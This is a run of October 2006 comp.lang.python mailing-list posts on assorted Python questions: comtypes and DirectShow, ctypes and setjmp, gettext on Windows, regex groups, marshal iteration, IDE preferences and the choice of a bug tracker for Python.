a few glitches to debug still ... or perhaps it's my fault for using readline? Let's try under Cygwin as a program: sholden at bigboy ~/Projects/Python $ cat test39.py myStr = "This is a string and it alwyas will be" oldstr=str class mystr(str) : def __new__(*a, **kw) : print 'called : ', a, kw return oldstr.__new__(*a, **kw) import __builtin__ __builtin__.str = mystr print type(myStr) newStr = "This is another string and it always will be" print type(newStr) strStr = str(newStr) print type(strStr) sholden at bigboy ~/Projects/Python $ python test39.py called : (, 'This is another string and it always will be') {} So, what are you trying to say? The type of the literal strings is clearly just what it always was. Where, when and how exactly does this magical monkey patch affect literals? regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From tinodb at gmail.com Wed Oct 25 18:14:14 2006 From: tinodb at gmail.com (TiNo) Date: Thu, 26 Oct 2006 00:14:14 +0200 Subject: Getting a lot of SPAM from this list In-Reply-To: <7xbqo10yik.fsf@ruckus.brouhaha.com> References: <7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar> <17725.12208.931743.88672@montanaro.dyndns.org> <7xbqo10yik.fsf@ruckus.brouhaha.com> Message-ID: <435b46e50610251514i337e07bdsd42b62bf5a2e3b@mail.gmail.com> How do you send and receive this email? 24 Oct 2006 22:12:35 -0700, Paul Rubin <"http://phr.cx"@nospam.invalid>: > > > I've given up on email pretty much. I no longer have a public email > address of any type. I just give out a URL (including on my resume, > business cards, etc), which leads to a HTTPS contact form. It's been > quite reliable and I get very little spam that way. > -- > http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: From isaac.rodriguez at comcast.net Wed Oct 11 15:03:32 2006 From: isaac.rodriguez at comcast.net (Isaac Rodriguez) Date: 11 Oct 2006 12:03:32 -0700 Subject: Experiences with Py2Exe In-Reply-To: <452cf765$1@news.vo.lu> References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com> <452cf765$1@news.vo.lu> Message-ID: <1160593412.770417.21010@i42g2000cwa.googlegroups.com> > > I did a project with wxPython and py2exe. Just great :-) I also used > Inno Setup (http://www.jrsoftware.org/isinfo.php) to create an > installer. You should be able to learn/use both in one day. > Do you have a specific reason for using Inno Setup and not a Windows Installer based setup? Will Inno Setup play especially well with py3exe or was it just the learning curve of using a Windows Installer setup? I am asking this because I have a lot of experience using the Windows Installer service, and I also have all the productivity tools available to create an installer for my tools if I needed to, but now I am curious about this Inno Setup. Thanks, Isaac. From winkatl1213 at yahoo.com Thu Oct 5 12:41:19 2006 From: winkatl1213 at yahoo.com (winkatl1213 at yahoo.com) Date: 5 Oct 2006 09:41:19 -0700 Subject: Getting a ValueError with comtypes In-Reply-To: References: <1160058359.839402.3600@k70g2000cwa.googlegroups.com> Message-ID: <1160066479.412632.171310@c28g2000cwb.googlegroups.com> Thomas, Thanks a ton for the quick response. I called GetModule('quartz.dll'), and now I can at least call IMediaControl::Run. I get another error, but that's my problem (I don't have the graph set correctly yet). You mentioned that you sometimes create a type library for creating the interface wrappers. Would you mind sharing with me how you do this? I seem to recall a thread on ctypes-users where you were looking for a method to do this. I can't seem to locate what you conclusion was. By the way, I've been using ctypes and comtypes quite a bit lately, and I just wanted to say that they are both excellent. Now if only I had an equivalent way to access C++ dlls, I'd no longer have to write typemaps in SWIG. While I'm at it, I thought I would ask you a separate completely unrelated question. I have a C++ library wrapped with SWIG. One member function takes a void* to a buffer. I want to allocate this buffer using ctypes and pass it to my SWIG wrapper, but I've been struggling to get it to work. I tried passing in the addressof, and then casting it back in my SWIG wrapper, but this doesn't work. Do you have any suggestions on this? I've also thought about using a numpy array, since this is supported in both SWIG and ctypes. Thanks again for your help., Jeff Thomas Heller wrote: > winkatl1213 at yahoo.com schrieb: > > Hello, > > > > I am working with comtypes to interface Microsoft's DirectShow library. > > Cool, another one using comtypes! > > > First, I found a Type Library on the internet that was created for > > accessing DirectShow from .NET. It seems that DirectShow only comes > > with IDL files and no type library. > > What I sometimes do is to compile the IDL files into a typelib just > for creating the comtypes interface wrappers. This may be somewhat > dangerous because these typelibs should *not* be registered by accident, > so that they do not conflict with other typelibs. > > Then, I found out with oleview that on my system the IMediaControl interface > is described in the 'ActiveMovie control type library (Ver 1.0)', > in c:\windows\system32\quartz.dll. So I was able to create the wrapper > by calling comtypes.client.GetModule("quartz.dll") - it seems that windows > searches the $PATH to find type libraries. > > > This got me started. > > > > The following line imports the typelibrary and automatically generates > > a wrapper module for DirectShow. > > > > ds = comtypes.client.GetModule('DirectShow.tlb') > > > > Next, I can basically start with something like this: > > > > graph = comtypes.CoCreateInstance(CLSID_FilterGraph, ds.IGraphBuilder, > > comtypes.CLSCTX_INPROC_SERVER) > > > > I had to create the CLSID_FilterGraph parameter myself by doing the > > following: > > > > CLSID_FilterGraph = > > comtypes.GUID('{e436ebb3-524f-11ce-9f53-0020af0ba770}') > > > > One of the first issues I ran into was that the type library I found on > > the web didn't expose the IMediaControl interface. So, using the > > generated wrapper as a template, I created my own wrapper: > > > > class IMediaControl(comtypes.IUnknown): > > _case_insensitive_ = True > > _iid_ = comtypes.GUID('{56A868B1-0AD4-11CE-B03A-0020AF0BA770}') > > _idlflags_ = [] > > IMediaControl._methods_ = [ > > COMMETHOD([], HRESULT, 'Run'), > > COMMETHOD([], HRESULT, 'Pause'), > > COMMETHOD([], HRESULT, 'Stop'), > > COMMETHOD([], HRESULT, 'StopWhenReady'), > > COMMETHOD([], HRESULT, 'GetState', > > (['in'], c_long, 'msTimeout'), > > (['out'], POINTER(c_int), 'pfs' )) > > ] > > > > This got me further. Once I defined the interface, I get access to the > > interface by calling: > > > > control = graph.QueryInterface(IMediaControl) > > > > This seemed to work. Once I got everything setup, I tried to use this > > interface. For example: > > > > control.Run() > > > > This generates an exception: > > > > Traceback (most recent call last): > > File "", line 1, in ? > > File "ds.py", line 462, in play > > control.Run() > > ValueError: Procedure probably called with not enough arguments (4 > > bytes missing) > > > > You can get errors like this when using ctypes if you use the wrong > > calling convention (CDLL versus WINDLL). > > > > The method "Run" on the IMediaControl interface doesn't take any > > arguments. > > > > I did notice that some wrapper code uses STDMETHOD versus COMMETHOD, > > but changing this didn't make any difference. > > > > Can anyone explain what might be happening here, or offer some > > suggestions? > > Your mistake here is that IMediaControl derives from IDispatch, not IUnknown. > So, control.Run() really calls the first IDispatch method, which is > GetTypeInfoCount(), which takes one argument ;-). > > I'm not 100% sure the following code will work for you because I'm using > a comtypes version that's not yet committed to the repository, but it works > for me: > > from comtypes.client import GetModule, CreateObject > > # create and import the interface wrapper > ds = GetModule("quartz.dll") > > # FilgraphManager is what the wrapper shows as coclass, > # you can pass that to CreateObject instead of a CLSID or ProgID. > # CreateObject calls QueryInterface for the 'most useful' interface, > # so usually there's no need to specify the interface you want: > fg = CreateObject(ds.FilgraphManager) > > # this prints '0' > print fg.Run() > > Thomas From grahamd at dscpl.com.au Mon Oct 23 19:00:25 2006 From: grahamd at dscpl.com.au (grahamd at dscpl.com.au) Date: 23 Oct 2006 16:00:25 -0700 Subject: HTML Templates (Sitemesh/Tiles concept) in Python In-Reply-To: <1161627774.471594.223360@m7g2000cwm.googlegroups.com> References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com> <453d02a7$0$15559$426a34cc@news.free.fr> <1161627774.471594.223360@m7g2000cwm.googlegroups.com> Message-ID: <1161644425.570765.68680@h48g2000cwc.googlegroups.com> Suren wrote: > > Python with ? CGI ? FastCGI ? mod_python ? Other ? > > We are using mod_python and SSI. We are inheriting some legacy code > that we do not want to mess with at all. If you are already using SSI for basic page composition using 'include virtual', it may be of interest for you to know that upcoming mod_python 3.3 supports use of Python code directly with SSI. For details see: http://www.dscpl.com.au/wiki/ModPython/Articles/BasicsOfServerSideIncludes To use this feature now, you would have to use latest mod_python code base out of Subversion repository though. We are just tidying up last few issues for 3.3, so code is more than usable at this point. There is an example in the article about how the new feature can be used for adding header, footers etc. Graham From dingbat at codesmiths.com Thu Oct 5 06:14:04 2006 From: dingbat at codesmiths.com (Andy Dingley) Date: 5 Oct 2006 03:14:04 -0700 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: <1160043244.427729.238690@i3g2000cwc.googlegroups.com> gord wrote: > As a complete novice in the study of Python, I am asking myself where this > language is superior or better suited than others. I use it, and see it primarily, as a Perl killer. It also does for Ruby and our infernal shell scripts. I've never considered using Python instead of VB. As a VB developer of many years, I'd see thhe Python language itself as infinitely superior to VB in almost every aspect, except that of building event driven Windows GUIs with easy form layout. Maybe there's some wonderful Python toolkit for doing this, but it's news to me. I'm undecided as to whether Python beats JSP for web development. So far I'm still inclined to Java, but that's probably because I know Java and Java has a huge amount of "beyond Java the language" development attached to it for web work. From richardjones at optushome.com.au Fri Oct 6 23:19:34 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Sat, 07 Oct 2006 13:19:34 +1000 Subject: ctypes and setjmp References: <45259596$0$32011$afc38c87@news.optusnet.com.au> Message-ID: <45271cc6$0$11973$afc38c87@news.optusnet.com.au> Gabriel Genellina wrote: > At Friday 6/10/2006 16:14, Thomas Heller wrote: >>For ctypes, the only solution I can think of is to invent a new calling >>convention, which will call setjmp() first internally before calling the >>libpng api function... > > May be reasonable - a non-zero in setjmp would raise a Python > exception. But perhaps a new calling convention is not needed: as you > need a way to indicate *which* argument is the jmp_buf, just a new > argument type would suffice. If you encounter one such thing in the > function.argtypes list, that means a setjmp is needed before calling > the actual function. The ctypes C code which handles invoking the foreign function call must be responsible for calling setjmp(). You can't call that in Python code - the C stack is manipulated all over the place for each line of Python code executed. You have to both call and set the jmp_buf in the same C code call from Python. Thus my suggestion of configuring a handler function on the foreign function wrapper object alongside the argtypes and restype. If one is defined then ctypes automatically calls setjmp and passes control to that handler function if setjmp returns non-zero. This page: http://www.massey.ac.nz/~mgwalker/misc/create-images.html has some example programs that show setjmp/longjmp in action. Read the whole thing as his first examples aren't correct :) Richard From ath-admin at vt.edu Tue Oct 17 16:04:38 2006 From: ath-admin at vt.edu (rick) Date: Tue, 17 Oct 2006 16:04:38 -0400 Subject: block devices Message-ID: What's the best way to read a byte of data directly from a block device (a scsi hard drive) on Linux using Python? From dustin at v.igoro.us Thu Oct 19 11:46:27 2006 From: dustin at v.igoro.us (Dustin J. Mitchell) Date: Thu, 19 Oct 2006 10:46:27 -0500 Subject: Dictionaries again - where do I make a mistake? In-Reply-To: <1161272376.402525.188810@k70g2000cwa.googlegroups.com> References: <1161272376.402525.188810@k70g2000cwa.googlegroups.com> Message-ID: <45379DD3.7030707@v.igoro.us> Lad wrote: > Sorting seems to be OK,. > the command > print key,val > prints the proper values > but I can not create Newdict to be sorted properly. > > Where do I make a mistake? > Thank you for help. Dictionaries are unordered -- the order in which items come out is unspecified. It's based on the details of their internal storage mechanism (a hash table), and you can't control it at all. If you need your pairs in a certain order, you'll have to use a list of tuples. Dustin From gerrit at nl.linux.org Tue Oct 10 08:39:47 2006 From: gerrit at nl.linux.org (Gerrit Holl) Date: Tue, 10 Oct 2006 14:39:47 +0200 Subject: Using Gnutar to remove a list of files In-Reply-To: <1160483644.216310.249760@m73g2000cwd.googlegroups.com> References: <1160483644.216310.249760@m73g2000cwd.googlegroups.com> Message-ID: <20061010123947.GA18140@topjaklont.student.utwente.nl> On 2006-10-10 14:35:30 +0200, cmacn024 at uottawa.ca wrote: > Hi folks, I've got a question for yas. I'm trying to write code that > will open up a gzipped tar file using gnutar, and copy the list of > files(including their directories) to a list variable in python. From > there, I want to go through the list and delete those files from my > system. That part is easy, but what I'm stuck on is getting the list > of files in an archive into a list variable. If I use the -t parameter > in gnutar, it prints a list of the files in a seperate cmd screen, but > only returns 0. Is there any way to make it return a list, or to copy > the information over? Thanks in advance! Use the commands module. Or tarfile of course. http://docs.python.org/lib/module-commands.html http://docs.python.org/lib/module-tarfile.html Gerrit. From sjdevnull at yahoo.com Sun Oct 29 04:28:08 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 29 Oct 2006 01:28:08 -0800 Subject: [OT] What's the best IDE? In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161976496.903281.302940@i42g2000cwa.googlegroups.com> <624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com> Message-ID: <1162114088.460947.284740@m7g2000cwm.googlegroups.com> Theerasak Photha wrote: > I've used Emacs for a long time, but I think I might be going back to > Vim 7.0 now that they improved the scripting functionality with *real* > arrays and dicts. I've been writing all my extensions in python rather than vimscript for several releases (occasionally it requires some elbow grease, e.g. I submitted the fixes to let the python interface call functions returning vim lists/dicts). > I hate to appeal to popularity, but Vim's > greater popularity also contributes to higher quality in a number of > cases I'd guess emacs is at least a base-10 order of magnitude more popular than vim for real development (excluding simple "it's already installed" basic sysadmin stuff); emacs passed vi c. 1990 and hasn't looked back. I say that as a hardcore vim user--getting used to modality really isn't for everyone, though once you do the payoff is high. From pinkfloydhomer at gmail.com Mon Oct 30 06:35:57 2006 From: pinkfloydhomer at gmail.com (pinkfloydhomer at gmail.com) Date: 30 Oct 2006 03:35:57 -0800 Subject: Easy PIL Question? In-Reply-To: References: <1162204777.208562.220740@f16g2000cwb.googlegroups.com> Message-ID: <1162208157.430566.57100@f16g2000cwb.googlegroups.com> Fredrik Lundh wrote: > > it's explained in the documentation, of course: > > http://effbot.org/imagingbook/image.htm#Image.getdata > But as I read it, this gives me pixel values, i.e. colors. I want palette indexes instead (which is what is really stored in a palette image). I guess I can make a test and see :) /David From ilias at lazaridis.com Thu Oct 5 15:06:59 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 5 Oct 2006 12:06:59 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160004324.651743.280590@b28g2000cwb.googlegroups.com> Message-ID: <1160075219.326684.170770@k70g2000cwa.googlegroups.com> Steve Holden wrote: > Ilias Lazaridis wrote: > > Giovanni Bajo wrote: > > > >>Hello, > >> > >>I just read this mail by Brett Cannon: > >>http://mail.python.org/pipermail/python-dev/2006-October/069139.html > >>where the "PSF infrastracture committee", after weeks of evaluation, recommends > >>using a non open source tracker (called JIRA - never heard before of course) > >>for Python itself. > >> > >>Does this smell "Bitkeeper fiasco" to anyone else than me? > >>-- > >>Giovanni Bajo > > > > > > Fascinating. > > > > The python foundation suggests a non-python non-open-source bugtracking > > tool for python. > > > > It's like saying: "The python community is not able to produce the > > tools needed to drive development of python forward." > > > > Anyway. The whole selection process is intransparent. > > > > The commitee should have stated "goals" and "requirements" with a > > public verification of the tools against them. > > Is there any stick in the known universe that you will grasp the *right* > end of? > > http://wiki.python.org/moin/OriginalCallForTrackers Please have a little bit more precision: "Because we are not sure exactly what are requirements for a tracker are we do not have a comprehensive requirements document." http://wiki.python.org/moin/OriginalCallForTrackers This document is empty: http://wiki.python.org/moin/GoodTrackerFeatures This is what I call "intransparent selection process" or "selectiong by feelings". - The central requirement for a development-infrastructure / Host is _control_: http://case.lazaridis.com/wiki/Host My personal selection for a tracking-system for a python based projects is Trac: http://case.lazaridis.com/wiki/Tracking I context of the python project (which has own wiki), Roundup could become the No.1 choice. I am biased towards trac, but to be honest, I've not verified Roundup deeper (due to the missing wiki-svn-ticket-integration, which is Trac's major strength). So, define the Goals, specify the resulting Requirements, and _after_ this, verify the Tools (Trac, Roundup) against those requirements - otherwise the whole "comitee" thing becomes just a joke. Another joke is to 'scare' the community with a non-open-source java tracker, in order to get 6 to 10 contributors. You need just 2 active contributors - and the python community, not more (it's open source - so do some plumbing yourself, even if you are the Python Foundation). Alternatively, why don't you place an requirement "active open source project which can process request from the foundation"? Because this could have a negative influence on selecting Roundup? (this is the reverse selection process. Select the candidate and adjust the requirements). In any way, the 'comitee' should really stop talking about JIRA in context of python. This sounds really like a joke of bad taste. btw: If JIRA is selected finally, the I have really to revise my decision to choose python for my projects. Simply because I would be afraid that the Python Foundation can't move Python into a leading position. http://case.lazaridis.com/wiki/Lang - btw: I like both tools, JIRA (nice design) and Roundup (simplicity, db layer) . From hanumizzle at gmail.com Fri Oct 6 04:03:36 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 04:03:36 -0400 Subject: Package to handle table text render (handle space or tab between the columns) ? In-Reply-To: <45260ab2$0$25946$ba4acef3@news.orange.fr> References: <45260ab2$0$25946$ba4acef3@news.orange.fr> Message-ID: <463ff4860610060103t648f3f3au33d7dfeb882332b7@mail.gmail.com> On 10/6/06, KLEIN St?phane wrote: > Hi, > > I would like print tabular values on terminal (stdout). Are there > package to handle table text render ? Have a look at: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267662 -- Theerasak From oxyd.oxyd at gmail.com Fri Oct 6 14:20:03 2006 From: oxyd.oxyd at gmail.com (Oxyd) Date: 6 Oct 2006 11:20:03 -0700 Subject: humble coin head or tail game script I wrote In-Reply-To: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> Message-ID: <1160158803.404425.316430@h48g2000cwc.googlegroups.com> Um... It looks to me like it just counts the number of times you entered 't'... From tlesher at gmail.com Fri Oct 6 15:40:13 2006 From: tlesher at gmail.com (Tim Lesher) Date: 6 Oct 2006 12:40:13 -0700 Subject: Iterating over marshal Message-ID: <1160163613.346243.128920@m73g2000cwd.googlegroups.com> I'm using the marshal library to unmarshal a file containing one or more objects. The canonical way seems to be: objs = [] while 1: try: objs.append(marshal.load(fobj)) except EOFError: break Maybe it's just me, but it seems as if this should be iterable. I can get the behavior I want by writing: def itermarshal(fobj): while 1: try: yield marshal.load(fobj) except EOFError: raise StopIteration objs = [obj for obj in itermarshal(fobj)] But it seems that this should be built-in somewhere. Given that the marshal library has been around since roughly forever, is it just that no one's bothered to add iteration support to it, or am I missing something? Thanks. -- Tim Lesher tlesher at gmail.com From antroy at gmail.com Fri Oct 6 11:49:39 2006 From: antroy at gmail.com (Ant) Date: 6 Oct 2006 08:49:39 -0700 Subject: Bug in re module? Message-ID: <1160149779.553564.9210@m7g2000cwm.googlegroups.com> Look at the following minimal example: >>> import re >>> p = re.compile(r"(:?Test) (String)") >>> m = p.search("This is a Test String OK?") >>> m.groups() ('Test', 'String') I would have expected this to produce: ('String') since (:?...) should be a non-capturing group. From the module reference: (?:...) A non-grouping version of regular parentheses. Matches whatever regular expression is inside the parentheses, but the substring matched by the group cannot be retrieved after performing a match or referenced later in the pattern. From japrice at gmail.com Fri Oct 27 11:34:36 2006 From: japrice at gmail.com (Jason) Date: 27 Oct 2006 08:34:36 -0700 Subject: Accessing ClarifyCRM with Python Message-ID: <1161963276.238983.90190@h48g2000cwc.googlegroups.com> I need to embed the ability to create a Clarify Case in a python program I have written. Unfortunately my familiarity with Clarify is very limited at this point. Is there a module out there that makes this process semi-painless? I couldn't find one googling around... Has anyone implemented something like this? Care to give a few pointers? I do know that another part of the business has a perl script that can generate a Clarify case. I'm chasing down that example as well, but I don't have it in hand at this point. So I know that this is possible... I just don't know how much work it will be. Any pointers would be greatly appreciated. --Jason From johnjsal at NOSPAMgmail.com Thu Oct 26 15:15:04 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 19:15:04 GMT Subject: which one of these is better? In-Reply-To: References: Message-ID: Michael B. Trausch wrote: > Not really ?ber-qualified to say anything, but I think that the > following would be better: > > try: > f = open('file.sql') > script = f.read() > f.close() > except IOError: > wx.MessageBox('Message', 'Message Title') I was thinking of something like this actually. > Not sure about the with-- I just went to read the PEP on it, and it > confused me greatly. :-) So, I don't know. Ditto. :) From gmarkowsky at gmail.com Sun Oct 29 10:47:23 2006 From: gmarkowsky at gmail.com (gmarkowsky at gmail.com) Date: 29 Oct 2006 07:47:23 -0800 Subject: importing class In-Reply-To: References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com> Message-ID: <1162136843.000525.149420@e3g2000cwe.googlegroups.com> Yep, that fixed it. Many thanks. Greg Dennis Lee Bieber wrote: > On 27 Oct 2006 09:22:00 -0700, gmarkowsky at gmail.com declaimed the > following in comp.lang.python: > > > It's supposed to just make a Tkinter window with two choices. The > > problem is that when I import it from a module, I get the following > > error: > > > > NameError: global name 'Frame' is not defined > > > > But when I copy and paste it into the file, it works. Can anyone tell > > me what's wrong? > > > Probably the simple fact that your "file" likely has all the imports > for Tkinter defined. The module that you are importing needs to have > those imports inside it -- imported modules do not have visibility of > names defined in the importING file. > -- > Wulfraed Dennis Lee Bieber KD6MOG > wlfraed at ix.netcom.com wulfraed at bestiaria.com > HTTP://wlfraed.home.netcom.com/ > (Bestiaria Support Staff: web-asst at bestiaria.com) > HTTP://www.bestiaria.com/ From kjellmf at gmail.com Fri Oct 13 07:22:35 2006 From: kjellmf at gmail.com (Kjell Magne Fauske) Date: 13 Oct 2006 04:22:35 -0700 Subject: 3D Vector Type Line-Drawing Program References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> Message-ID: <1160738554.781911.281540@b28g2000cwb.googlegroups.com> > I'm looking for a program to do line-drawings in 3d, with output to > postscript or svg or pdf, etc. I would like to describe a scene with > certain 1-3d elements oriented in 3d space with dashed or colored lines > and filled or transparent surfaces (or maybe semitransparent). > For high quality line drawings using Python you have PyX [1]. Unfortunately it does not come with a 3D library. You probably have too look elsewere for 3D vector drawings. Some places to look are: - Asymptote [2] - Sketch [3]. A small, simple system for producing line drawings of two- or three-dimensional solid objects and scenes. Sketch generates PSTricks code for LaTeX. Both Asymptote and Sketch requires TeX/LaTeX for typesetting labels and such. Sketch is probably the closest to what you are looking for. See [4] for an example of what kind of graphics it can create. [1] http://pyx.sourceforge.net/ [2] http://asymptote.sourceforge.net/ [3] http://www.frontiernet.net/~eugene.ressler/ [4] http://www.fauskes.net/nb/threedill/ Regards, Kjell Magne Fauske From Leo.Kislov at gmail.com Sat Oct 28 05:50:32 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 28 Oct 2006 02:50:32 -0700 Subject: gettext on Windows References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com> <1162023784.123822.266270@m73g2000cwd.googlegroups.com> <454322BC.8020002@v.loewis.de> <1162028026.501490.93250@m7g2000cwm.googlegroups.com> Message-ID: <1162029032.840155.147160@b28g2000cwb.googlegroups.com> russ.phillips.nospam at googlemail.com wrote: > Martin v. L?wis wrote: > > russ.phillips.nospam at googlemail.com schrieb: > > > Traceback (most recent call last): > > > File "panicbutton.py", line 36, in ? > > > lan = gettext.GNUTranslations (open (sLang, "rb")) > > > File "C:\Python24\lib\gettext.py", line 177, in __init__ > > > self._parse(fp) > > > File "C:\Python24\lib\gettext.py", line 280, in _parse > > > raise IOError(0, 'File is corrupt', filename) > > > IOError: [Errno 0] File is corrupt: 'locale\\fr_FR.mo' > > > > If it says so, it likely is right. How did you create the file? > > I only get the "File is corrupt" error when I changed > > lan = gettext.GNUTranslations (open (sLang)) This code definately corrupts .mo files since on windows files are opened in text mode by default. > to > > lan = gettext.GNUTranslations (open (sLang, "rb")) > > Without the "rb" in the open () I get a "struct.error : unpack str size > does not match format" error (see original post). struct.error usually means input data doesn't correspond to expected format. > The .mo files were created using poEdit (www.poedit.org), and I get the > same error with various translations, all created by different people. Try msgunfmt http://www.gnu.org/software/gettext/manual/html_node/gettext_128.html#SEC128 to see if it can convert your files back to text. -- Leo From nrajesh71 at gmail.com Tue Oct 10 23:03:12 2006 From: nrajesh71 at gmail.com (Raj) Date: 10 Oct 2006 20:03:12 -0700 Subject: How to write Smart Python programs? Message-ID: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> Hi, We just executed a project with Python using TG. The feedback was to use more python like programming rather than C style code executed in Python. The feedback is from a Python purist and for some reasons we cannot solicity his help. So we'd like to do is to scrub through the codebase and identify places where the codebase needs improvement, both from styling as well as design. Is there any website that can provide me with advanced tips rather than just tutorials coz thats not of much help. The project involves: 1. A server module that receives messages from a datalogger to populate a database 2. A DB access module that interfaces with the UI The technologies we use are TurboGears, SQLAlchemy, CherryPy, Kid templates. Any help will be greatly appreciated. If you would like to get involved in it for $$ (experienced in the tools mentioned above) as well do let me know. I need help asap as the deadlines are very very short. Thanks, Raj. From sturlamolden at yahoo.no Wed Oct 25 13:25:46 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 25 Oct 2006 10:25:46 -0700 Subject: unsigned 32 bit arithmetic type? In-Reply-To: References: <453F4A52.3050200@v.loewis.de> Message-ID: <1161797145.981948.123730@b28g2000cwb.googlegroups.com> Robin Becker wrote: > > ULONG CalcTableChecksum(ULONG *Table, ULONG Length) > > { > > ULONG Sum = 0L; > > ULONG *Endptr = Table+((Length+3) & ~3) / sizeof(ULONG); > > > > while (Table < EndPtr) > > Sum += *Table++; > > return Sum; > > } Is this what you want? import numpy def CalcTableChecksum(Table, Length=None): tmp = numpy.array(Table,dtype=numpy.uint32) if Length == None: Length = tmp.size endptr = ((Length+3) & ~3) / 4 return (tmp[0:endptr]).sum() From spedrosa at gmail.com Thu Oct 19 13:17:13 2006 From: spedrosa at gmail.com (Stephen Eilert) Date: 19 Oct 2006 10:17:13 -0700 Subject: A suggestion/request for IDEs References: <1161270895.245695.176750@m7g2000cwm.googlegroups.com> Message-ID: <1161278233.769310.297290@i3g2000cwc.googlegroups.com> Tim Chase wrote: > John Salerno wrote: > > I apologize for the slightly off-topic nature, but I thought I'd just > > throw this out there for anyone working on text editors or IDEs with > > auto-completion. > > Well, Vim7's autocompletion already allows this. Earlier > versions of vim also allowed similar behavior, but (AFAIK) didn't > have a nice way to cancel the suggestion or to accept the > suggestion without an additional character (or leaving insert > mode). In Vim7, you can abort your current ^P/^N completion with > ^E (to regain just what you typed, minus the current > completion/suggestion) or you can accept it with ^Y (which won't > add an extra character), or you can just continue typing to > accept the completion, and then add the character you typed (such > as space, period, etc). > > Other editors/IDEs may have similar functionality... > > -tkc The best IDE's can do is a minor form of autocomplete, considering the dynamic nature of Python programs. Stephen From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Wed Oct 11 17:38:58 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Wed, 11 Oct 2006 23:38:58 +0200 Subject: Dive Into Java? References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de> <4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de> <4p4hpqFhc4ilU1@individual.net> <4p4rq4Fguir3U1@uni-berlin.de> Message-ID: <4p56jjFhbbn8U1@individual.net> Diez B. Roggisch wrote: > You don't seem to understand what is happening here. The fact that > string literals in java exist has nothing to do with an implicit > type casting as above example shows. Whoops. "10", arg and _arg /are/ integers, right? > C++ was new, nobody forced them to keep pointers around. For compatibility reasons to C it seems quite necessary. [interface compatibility to String] > That isn't possible with python, too. No? Mh, perhaps it's too late for my brain tonight ;) > Python has those clunky rules as well as C++ - or don't you write > character literals like > > "abcd" > > in C++ as well? Where exactly is that clunky? IMHO, that only for String class String spam = "eggs"; works (in Java). > But choices let you make more errors - which was my point from the > beginning: java is a limited language, and I don't like it too > much. But it makes it hard to do things wrong. C++ makes it hard > to make them right. I agree. *If* one is an absolute beginner with programming. C++ may have too many weird options in places where Java has one possible solution. Regards, Bj?rn -- BOFH excuse #364: Sand fleas eating the Internet cables From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Fri Oct 27 08:25:16 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Fri, 27 Oct 2006 14:25:16 +0200 Subject: my first software References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com> <4qc748Fm34hdU1@individual.net> Message-ID: <4qec58Fmrcd1U1@individual.net> Fredrik Lundh wrote: > cygwin? I thought so too, but cygwin would use #!/cygdrive/c/..., IIRC. > exemaker? some kind of web server? Okay, didn't know that :) Regards, Bj?rn -- BOFH excuse #22: monitor resolution too high From rrr at ronadam.com Wed Oct 18 20:36:44 2006 From: rrr at ronadam.com (Ron Adam) Date: Wed, 18 Oct 2006 19:36:44 -0500 Subject: Flexable Collating (feedback please) In-Reply-To: References: <35kZg.6681$fl.2685@dukeread08> Message-ID: Gabriel Genellina wrote: > At Wednesday 18/10/2006 03:42, Ron Adam wrote: > >> I put together the following module today and would like some feedback >> on any >> obvious problems. Or even opinions of weather or not it is a good >> approach. >> if self.flag & CAPS_FIRST: >> s = s.swapcase() > > This is just coincidental; it relies on (lowercase)<(uppercase) on the > locale collating sequence, and I don't see why it should be always so. The LC_COLLATE structure (in the python.exe C code I think) controls the order of upper and lower case during collating. I don't know if there is anyway to examine it unfortunately. If there was a way to change the LC_COLLATE structure, I wouldn't need to resort to tricks like s.swapcase(). But without that info, I don't know of another way. Maybe changing the CAPS_FIRST to REVERSE_CAPS_ORDER would do? >> if self.flag & IGNORE_LEADING_WS: >> s = s.strip() I'm not sure if this would make any visible difference. It might determine order of two strings where they are the same, but one has white space at the end the other doesn't. They run at the same speed either way, so I'll go ahead and change it. Thanks. > This ignores trailing ws too. (lstrip?) > >> if self.flag & NUMERICAL: >> if self.flag & COMMA_IN_NUMERALS: >> rex = >> re.compile('^(\d*\,?\d*\.?\d*)(\D*)(\d*\,?\d*\.?\d*)', >> re.LOCALE) >> else: >> rex = re.compile('^(\d*\.?\d*)(\D*)(\d*\.?\d*)', >> re.LOCALE) >> slist = rex.split(s) >> for i, x in enumerate(slist): >> if self.flag & COMMA_IN_NUMERALS: >> x = x.replace(',', '') >> try: >> slist[i] = float(x) >> except: >> slist[i] = locale.strxfrm(x) >> return slist >> return 